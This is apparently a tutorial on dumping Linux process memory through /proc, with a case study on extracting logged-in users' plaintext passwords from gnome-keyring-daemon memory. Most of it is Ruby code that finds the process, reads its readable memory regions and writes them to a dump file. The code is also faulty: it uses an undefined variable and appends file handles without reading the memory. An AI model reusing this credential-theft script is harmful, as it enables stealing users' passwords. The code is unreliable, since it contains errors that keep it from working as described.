Memory Forensic

Linux memory

Dump Linux memory

To dump Linux memory for a specific process to disk, we need the follwoing:

  1. Get process id (PID): /proc/\[PID\]/cmdline
    • cmdline is file holds the complete command line for the process.
  2. Get PID maps: /proc/\[PID\]/maps
    • maps is file containing the currently mapped memory regions and their access permissions.
  3. Get processs memory pages: /proc/\[PID\]/mem
    • mem is a file can be used to access the pages of a process’s memory through

Case study

Let’s assume we want to dump gnome-keyring-daemon process’s memory to our disk in order to extract the logged-in user(s) password(s) since its stored in as a plan text in memory. Moreover, we know that it comes after “libgck-1” or “libgcrypt” strings in memory. We’ll brack that a parts then put it together.

Get process id (PID)

  1. @pids = []
  2. Dir.glob('/proc/*/cmdline').each do |cmdline_file|
  3. processes_name.each do |process|
  4. if File.read(cmdline_file).include? "gnome-keyring-daemon"
  5. @pids << cmdline_file.split('/')[2].to_i # get the pid number from proc/nnn/cmdline
  6. end
  7. end
  8. end

Get PID maps:

  1. @pids_maps = []
  2. @pids.each do |pid|
  3. # Open and parse maps file for each pid
  4. File.readlines("/proc/#{pid}/maps").each do |line|
  5. address, permissions = line.split(' ').first(2)
  6. # Find addresses in readable process memory pages
  7. if permissions.match(/^r.*/)
  8. # Find where pages starts and ends to read, no need to dump the whole memory.
  9. memory_start, memory_stop = address.split('-').map{|r| r.to_i(16)}
  10. chunk_size = memory_stop - memory_start
  11. @pids_maps << {pid: pid, memory_start: memory_start, memory_stop: memory_stop, chunk: chunk_size}
  12. end
  13. end
  14. end

Get processs memory pages:

  1. memory_dump = ''
  2. @pids_maps.each do |pid|
  3. chunk_pointer = File.open("/proc/#{pid[:pid]}/mem", 'rb') # Open mem file
  4. chunk_pointer.seek pid[:memory_start] # put reading pointer where page starts
  5. memory_dump << chunk_pointer
  6. end
  7. File.open('gnome-keyring.dump', 'wb') {|f| f.print memory_dump} # Write dump to the desk as binary